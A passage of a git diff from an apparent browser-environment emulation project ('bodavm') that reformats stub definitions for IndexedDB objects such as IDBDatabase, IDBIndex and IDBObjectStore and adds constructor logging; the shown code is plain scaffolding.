"IDBCursorWithValue", "value_get", arguments)}, set:undefined},'prototype'); +// IDBCursorWithValue对象 + +bodavm.memory.globalobj['IDBCursorWithValue'] = function IDBCursorWithValue() { + console.log_copy('IDBCursorWithValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBCursorWithValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBCursorWithValue'], "IDBCursorWithValue"); +bodavm.memory.globalobj['IDBCursorWithValue'].prototype.__proto__ = bodavm.memory.globalobj['IDBCursor'].prototype; +bodavm.memory.globalobj['IDBCursorWithValue'].__proto__ = bodavm.memory.globalobj['IDBCursor']; +bodavm.toolsFunc.defineProperty('IDBCursorWithValue', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursorWithValue'].prototype, "IDBCursorWithValue", "value_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBDatabase.js b/env_xbb_lastest_jsdom/env/IDBDatabase.js index 0b7d9e4c..8816dd8b 100644 --- a/env_xbb_lastest_jsdom/env/IDBDatabase.js +++ b/env_xbb_lastest_jsdom/env/IDBDatabase.js @@ -1,16 +1,115 @@ -// IDBDatabase对象 -bodavm.memory.globalobj['IDBDatabase'] = function IDBDatabase(){if (!(this instanceof IDBDatabase)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBDatabase'], "IDBDatabase"); -bodavm.memory.globalobj['IDBDatabase'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IDBDatabase'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IDBDatabase', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "version_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "objectStoreNames", {configurable:true, enumerable:true, get:function objectStoreNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "objectStoreNames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "onversionchange", {configurable:true, enumerable:true, get:function onversionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_get", arguments)}, set:function onversionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "createObjectStore", {configurable:true, enumerable:true, writable:true, value:function createObjectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "createObjectStore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "deleteObjectStore", {configurable:true, enumerable:true, writable:true, value:function deleteObjectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "deleteObjectStore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBDatabase', "transaction", {configurable:true, enumerable:true, writable:true, value:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "transaction", arguments)}},'prototype'); +// IDBDatabase对象 + +bodavm.memory.globalobj['IDBDatabase'] = function IDBDatabase() { + console.log_copy('IDBDatabase 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBDatabase)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBDatabase'], "IDBDatabase"); +bodavm.memory.globalobj['IDBDatabase'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBDatabase'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBDatabase', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "version_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "objectStoreNames", { + configurable: true, + enumerable: true, + get: function objectStoreNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "objectStoreNames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onversionchange", { + configurable: true, + enumerable: true, + get: function onversionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_get", arguments); + }, + set: function onversionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "createObjectStore", { + configurable: true, + enumerable: true, + writable: true, + value: function createObjectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "createObjectStore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "deleteObjectStore", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteObjectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "deleteObjectStore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "transaction", { + configurable: true, + enumerable: true, + writable: true, + value: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "transaction", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBFactory.js b/env_xbb_lastest_jsdom/env/IDBFactory.js index 84d3589d..f1e2e71f 100644 --- a/env_xbb_lastest_jsdom/env/IDBFactory.js +++ b/env_xbb_lastest_jsdom/env/IDBFactory.js @@ -1,7 +1,49 @@ -// IDBFactory对象 -bodavm.memory.globalobj['IDBFactory'] = function IDBFactory(){if (!(this instanceof IDBFactory)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBFactory'], "IDBFactory"); -bodavm.toolsFunc.defineProperty('IDBFactory', "cmp", {configurable:true, enumerable:true, writable:true, value:function cmp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "cmp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBFactory', "databases", {configurable:true, enumerable:true, writable:true, value:function databases (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "databases", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBFactory', "deleteDatabase", {configurable:true, enumerable:true, writable:true, value:function deleteDatabase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "deleteDatabase", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBFactory', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "open", arguments)}},'prototype'); +// IDBFactory对象 + +bodavm.memory.globalobj['IDBFactory'] = function IDBFactory() { + console.log_copy('IDBFactory 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBFactory)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBFactory'], "IDBFactory"); +bodavm.toolsFunc.defineProperty('IDBFactory', "cmp", { + configurable: true, + enumerable: true, + writable: true, + value: function cmp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "cmp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "databases", { + configurable: true, + enumerable: true, + writable: true, + value: function databases() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "databases", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "deleteDatabase", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteDatabase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "deleteDatabase", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "open", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBIndex.js b/env_xbb_lastest_jsdom/env/IDBIndex.js index 126f50f3..973d7795 100644 --- a/env_xbb_lastest_jsdom/env/IDBIndex.js +++ b/env_xbb_lastest_jsdom/env/IDBIndex.js @@ -1,15 +1,115 @@ -// IDBIndex对象 -bodavm.memory.globalobj['IDBIndex'] = function IDBIndex(){if (!(this instanceof IDBIndex)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBIndex'], "IDBIndex"); -bodavm.toolsFunc.defineProperty('IDBIndex', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "objectStore", {configurable:true, enumerable:true, get:function objectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "objectStore_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "keyPath", {configurable:true, enumerable:true, get:function keyPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "keyPath_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "multiEntry", {configurable:true, enumerable:true, get:function multiEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "multiEntry_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "unique", {configurable:true, enumerable:true, get:function unique (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "unique_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "count", {configurable:true, enumerable:true, writable:true, value:function count (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "count", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "getAllKeys", {configurable:true, enumerable:true, writable:true, value:function getAllKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAllKeys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "getKey", {configurable:true, enumerable:true, writable:true, value:function getKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "openCursor", {configurable:true, enumerable:true, writable:true, value:function openCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openCursor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "openKeyCursor", {configurable:true, enumerable:true, writable:true, value:function openKeyCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openKeyCursor", arguments)}},'prototype'); +// IDBIndex对象 + +bodavm.memory.globalobj['IDBIndex'] = function IDBIndex() { + console.log_copy('IDBIndex 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBIndex)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBIndex'], "IDBIndex"); +bodavm.toolsFunc.defineProperty('IDBIndex', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "objectStore", { + configurable: true, + enumerable: true, + get: function objectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "objectStore_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "keyPath", { + configurable: true, + enumerable: true, + get: function keyPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "keyPath_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "multiEntry", { + configurable: true, + enumerable: true, + get: function multiEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "multiEntry_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "unique", { + configurable: true, + enumerable: true, + get: function unique() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "unique_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "count", { + configurable: true, + enumerable: true, + writable: true, + value: function count() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "count", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "getAllKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAllKeys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "getKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "openCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openCursor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "openKeyCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openKeyCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openKeyCursor", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBKeyRange.js b/env_xbb_lastest_jsdom/env/IDBKeyRange.js index 5ed7c454..7fed525b 100644 --- a/env_xbb_lastest_jsdom/env/IDBKeyRange.js +++ b/env_xbb_lastest_jsdom/env/IDBKeyRange.js @@ -1,12 +1,89 @@ -// IDBKeyRange对象 -bodavm.memory.globalobj['IDBKeyRange'] = function IDBKeyRange(){if (!(this instanceof IDBKeyRange)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBKeyRange'], "IDBKeyRange"); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "bound", {configurable:true, enumerable:true, writable:true, value:function bound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "bound", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerBound", {configurable:true, enumerable:true, writable:true, value:function lowerBound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "lowerBound", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "only", {configurable:true, enumerable:true, writable:true, value:function only (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "only", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperBound", {configurable:true, enumerable:true, writable:true, value:function upperBound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "upperBound", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "lower", {configurable:true, enumerable:true, get:function lower (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lower_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "upper", {configurable:true, enumerable:true, get:function upper (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upper_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerOpen", {configurable:true, enumerable:true, get:function lowerOpen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lowerOpen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperOpen", {configurable:true, enumerable:true, get:function upperOpen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upperOpen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "includes", {configurable:true, enumerable:true, writable:true, value:function includes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "includes", arguments)}},'prototype'); +// IDBKeyRange对象 + +bodavm.memory.globalobj['IDBKeyRange'] = function IDBKeyRange() { + console.log_copy('IDBKeyRange 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBKeyRange)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBKeyRange'], "IDBKeyRange"); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "bound", { + configurable: true, + enumerable: true, + writable: true, + value: function bound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "bound", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerBound", { + configurable: true, + enumerable: true, + writable: true, + value: function lowerBound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "lowerBound", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "only", { + configurable: true, + enumerable: true, + writable: true, + value: function only() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "only", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperBound", { + configurable: true, + enumerable: true, + writable: true, + value: function upperBound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "upperBound", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "lower", { + configurable: true, + enumerable: true, + get: function lower() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lower_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "upper", { + configurable: true, + enumerable: true, + get: function upper() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upper_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerOpen", { + configurable: true, + enumerable: true, + get: function lowerOpen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lowerOpen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperOpen", { + configurable: true, + enumerable: true, + get: function upperOpen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upperOpen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "includes", { + configurable: true, + enumerable: true, + writable: true, + value: function includes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "includes", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBObjectStore.js b/env_xbb_lastest_jsdom/env/IDBObjectStore.js index 67e6a098..13e1e5c6 100644 --- a/env_xbb_lastest_jsdom/env/IDBObjectStore.js +++ b/env_xbb_lastest_jsdom/env/IDBObjectStore.js @@ -1,44 +1,171 @@ // IDBObjectStore对象 -bodavm.memory.globalobj['IDBObjectStore'] = function IDBObjectStore(){if (!(this instanceof IDBObjectStore)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['IDBObjectStore'] = function IDBObjectStore() { + console.log_copy('IDBObjectStore 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBObjectStore)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBObjectStore'], "IDBObjectStore"); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "keyPath", {configurable:true, enumerable:true, get:function keyPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "keyPath_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "indexNames", {configurable:true, enumerable:true, get:function indexNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "indexNames_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "transaction", {configurable:true, enumerable:true, get:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "transaction_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "autoIncrement", {configurable:true, enumerable:true, get:function autoIncrement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "autoIncrement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "add", 